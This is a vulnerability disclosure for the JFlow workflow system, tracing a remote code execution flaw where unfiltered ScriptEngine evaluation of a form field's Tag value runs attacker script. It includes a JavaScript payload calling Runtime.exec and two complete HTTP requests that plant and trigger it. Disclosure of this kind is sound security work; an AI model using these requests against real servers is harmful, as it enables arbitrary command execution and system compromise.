[Vulnerability]An RCE vulnerability exists in the dtlImp_Save method of the latest version

## The latest version of Jflow has a remote command execution vulnerability in the Calculate() method at lines 5775-5779 of src/main/java/bp/wf/httphandler/WF_CCForm.java.

Vulnerability file:src/main/java/bp/wf/httphandler/WF_CCForm.java.

In src/main/java/bp/wf/httphandler/WF_CCForm.java at lines 5775-5779, the Calculate() method is observed to use the ScriptEngine engine without proper filtering.

![image-20260226105912777](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226105912777.png)

It is necessary to determine whether expression is a controllable parameter. Tracing the Calculate method, it is invoked within the dtlImp_OneRow_Insert() method in src/main/java/bp/wf/httphandler/WF_CCForm.java.

![image-20260226110043781](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110043781.png)

The tag parameter is passed in; logically, it is iterated from dt.Rows and assigned to the dr parameter as its second value. If tag does not contain the "@" symbol, the Calculate logic is executed.

![image-20260226110224157](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110224157.png)

dt is an input parameter of the dtlImp_OneRow_Insert() method.

![image-20260226110339668](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110339668.png)

Tracing the dtlImp_OneRow_Insert method leads to the route dtlImp_Sava().

![image-20260226110436799](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110436799.png)

It can be determined that the dt value is assigned via an SQL statement.

![image-20260226110548632](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110548632.png)

The retrieved values are B.KeyOfEn, A.Tag, B.MyDataType, and B.AtPara; therefore, the second parameter mentioned above corresponds to A.Tag. To exploit this, one only needs to assign a malicious Script Engine POC to the value of A.Tag.

The SQL statement is as follows:

```sql
SELECT B.KeyOfEn,A.Tag,B.MyDataType,B.AtPara From Sys_MapExt A,Sys_MapAttr B Where A.AttrOfOper=B.KeyOfEn AND A.FK_MapData=B.FK_MapData AND A.FK_MapData='"+mdtl.getNo()+"' AND ExtModel='AutoFull' AND DoWay='1' 
```

Observe the corresponding table structures of Sys_MapExt and Sys_MapAttr.

Sys_MapExt:

![image-20260226110817733](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110817733.png)

Sys_MapAttr:

![image-20260226110828053](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226110828053.png)

The aforementioned SQL statement can be simplified as follows:

```sql
SELECT B.KeyOfEn,A.Tag,B.MyDataType,B.AtPara From Sys_MapExt A,Sys_MapAttr B Where A.AttrOfOper=B.KeyOfEn AND A.FK_MapData=B.FK_MapData AND A.FK_MapData='xxxx' AND ExtModel='AutoFull' AND DoWay='1'
```

Therefore, the most critical requirement is that Sys_MapExt.FK_MapData must have a value and ExtModel must be set to AutoFull.

The breakthrough point lies within ExtModel=AutoFull.

Searching for all AutoFull assignments reveals an annotation: AutoFull 自动计算 a*b 功能界面 . (AutoFull automatic calculation ab function interface.), which allows us to infer that this feature is for automatic calculation.

![image-20260226111132667](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226111132667.png)

By observing the call sites of Sys_MapExt, most are related to process forms; thus, it is judged that this feature point resides within the form, and the method name dtlImp_OneRow_Insert also indicates it is a sub-table save method.

![image-20260226113007105](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226113007105.png)

![image-20260226113053221](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226113053221.png)

Based on this information, the automatic calculation feature point can be identified in the frontend.

![image-20260226113140623](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226113140623.png)

After saving, data is stored in the Sys_MapExt table, and the Tag value is assigned as "test"; therefore, this location can trigger RCE.

![image-20260226113959366](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226113959366.png)

The SQL statement becomes:

```sql
SELECT B.KeyOfEn,A.Tag,B.MyDataType,B.AtPara From Sys_MapExt A,Sys_MapAttr B Where A.AttrOfOper=B.KeyOfEn AND A.FK_MapData=B.FK_MapData AND A.FK_MapData='Frm_QWQCongBiao' AND ExtModel='AutoFull' AND DoWay='1'
```

![image-20260226114027737](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226114027737.png)

In the dtlImp_Save() route, two conditions must be met to execute the dtlImp_OneRow_Insert() logic:

1.A pre-check for non-null values: The passed JSON string cannot be empty.

![image-20260226114252262](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226114252262.png)

2. Data volume triggers the multi-threading branch: The code explicitly checks that the size of the JSON array must be greater than 30 entries.

![image-20260226114335085](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226114335085.png)

However, these two branches have no impact on the value of `dt` (i.e., the results of the SQL query mentioned above); one only needs to construct a JSON payload with more than 30 entries in the request.

`FK_MapData` is assigned by `mdtl.getNo()`.

The value of `mdtl` is `new MapDtl(this.getEnsName())`.

Tracing the `getEnsName` method reveals that it obtains the corresponding entity class information by passing the `EnsName` parameter through the `GetRequestVal()` method.

![image-20260226114918881](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226114918881.png)

When creating the corresponding sub-table, you can input the corresponding entity class name.

![image-20260226142709065](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226142709065.png)

![image-20260226142852996](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226142852996.png)

Therefore, when calling the `dtlImp_Save()` interface, it is necessary to construct the `EnsName` parameter with the value `Frm_QWQwodecongbiao` to trigger the query for the corresponding entity information.

![image-20260226150618920](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226150618920.png)

The entire attack chain is now established, allowing the execution of the SQL statement; therefore, one only needs to assign a malicious Script Engine payload to the `Tag` parameter.

Select the "Subtotal" function within the "Add Extension" options.

![image-20260226151353737](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226151353737.png)

Click the "Automatic Calculation" function and write the POC:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc.exe")};

![image-20260226151519007](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226151519007.png)

![image-20260226151749827](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226151749827.png)

Executing the `dtlImp_Save()` interface successfully triggers the code to enter the `dtlImp_OneRow_Insert` logic.

![image-20260226173639202](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226173639202-1772098604689-1.png)

![image-20260226173659218](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226173659218.png)

![image-20260226151949270](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226151949270.png)

Execute the Script Engine.

![image-20260226152036192](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226152036192.png)

The calculator pops up.

![image-20260226152108345](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260226152108345.png)

POC1:

```
POST /WF/Comm/ProcessRequest?DoType=HttpHandler&DoMethod=Entity_Update&HttpHandlerName=BP.WF.HttpHandler.WF_CommTS&Token=666ef07d1e3b4e889eafea426c8c0d49 HTTP/1.1
Host: localhost:8009
Sec-Fetch-Site: same-site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2sBqQWi8DkeGEdkK
Origin: http://localhost:3000
sec-ch-ua-mobile: ?0
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Sec-Fetch-Mode: cors
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: empty
sec-ch-ua-platform: "Windows"
Accept: application/json, text/plain, */*
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 1336

------WebKitFormBoundary2sBqQWi8DkeGEdkK
Content-Disposition: form-data; name="ClassID"

TS.Sys.MapExt
------WebKitFormBoundary2sBqQWi8DkeGEdkK
Content-Disposition: form-data; name="RefEnName"

BP.Sys.MapExt
------WebKitFormBoundary2sBqQWi8DkeGEdkK
Content-Disposition: form-data; name="PK"

MyPK
------WebKitFormBoundary2sBqQWi8DkeGEdkK
Content-Disposition: form-data; name="PKVal"

Frm_QWQwodecongbiao_wodejisuanSum_AutoFull
------WebKitFormBoundary2sBqQWi8DkeGEdkK
Content-Disposition: form-data; name="Row"

%7B%22MyPK%22%3A%22Frm_QWQwodecongbiao_wodejisuanSum_AutoFull%22%2C%22DoWay%22%3A%221%22%2C%22FK_DBSrc%22%3A%22local%22%2C%22Tag6%22%3A%22%22%2C%22Tag5%22%3A%22%22%2C%22Tag4%22%3A%22%22%2C%22W%22%3A400%2C%22Tag3%22%3A%22%22%2C%22Tag2%22%3A%22%22%2C%22AtPara%22%3A%22%22%2C%22Tag1%22%3A%221%22%2C%22Doc%22%3A%22%22%2C%22Tag%22%3A%22var%20a%20%3D%20mainOutput()%3B%20function%20mainOutput()%20%7B%20var%20x%3Djava.lang.Runtime.getRuntime().exec(%5C%22calc.exe%5C%22)%7D%3B%22%2C%22H%22%3A500%2C%22PRI%22%3A0%2C%22IsLoadFull%22%3A0%2C%22AttrOfOper%22%3A%22wodejisuanSum%22%2C%22AttrsOfActive%22%3A%22%22%2C%22RefPKVal%22%3A%22%22%2C%22ExtType%22%3A%22AutoFull%22%2C%22FK_MapData%22%3A%22Frm_QWQwodecongbiao%22%2C%22Idx%22%3A0%2C%22ExtModel%22%3A%22AutoFull%22%7D
------WebKitFormBoundary2sBqQWi8DkeGEdkK--
```

POC2：

```
POST /WF/Comm/ProcessRequest?DoType=HttpHandler&DoMethod=dtlImp_Save&HttpHandlerName=BP.WF.HttpHandler.WF_CCForm&Token=666ef07d1e3b4e889eafea426c8c0d49 HTTP/1.1
Host: localhost:8009
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7gVUD68UDIccRT6B
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
Accept-Encoding: gzip, deflate, br, zstd
Referer: http://localhost:3000/
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Accept: application/json, text/plain, */*
Content-Length: 975

------WebKitFormBoundary7gVUD68UDIccRT6B
Content-Disposition: form-data; name="EnsName"

Frm_QWQwodecongbiao
------WebKitFormBoundary7gVUD68UDIccRT6B
Content-Disposition: form-data; name="FK_MapData"
FK_MapData
------WebKitFormBoundary7gVUD68UDIccRT6B
Content-Disposition: form-data; name="PK"

MyPK
------WebKitFormBoundary7gVUD68UDIccRT6B
Content-Disposition: form-data; name="PKVal"

149102-4151313-810101
------WebKitFormBoundary7gVUD68UDIccRT6B
Content-Disposition: form-data; name="Json"

[{"OID":0,"RefPK":"1001","Field1":"Value1_1","Field2":"Data1"},{"OID":0,"RefPK":"1001","Field1":"Value1_2","Field2":"Data2"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_3","Field2":"Data3"},{"OID":0,"RefPK":"1001","Field1":"Value1_31","Field2":"Data31"}]
------WebKitFormBoundary7gVUD68UDIccRT6B--

```

GVP 济南驰骋公司/JFlow

内容风险标识

评论 (0)

GVP济南驰骋公司/JFlow

内容风险标识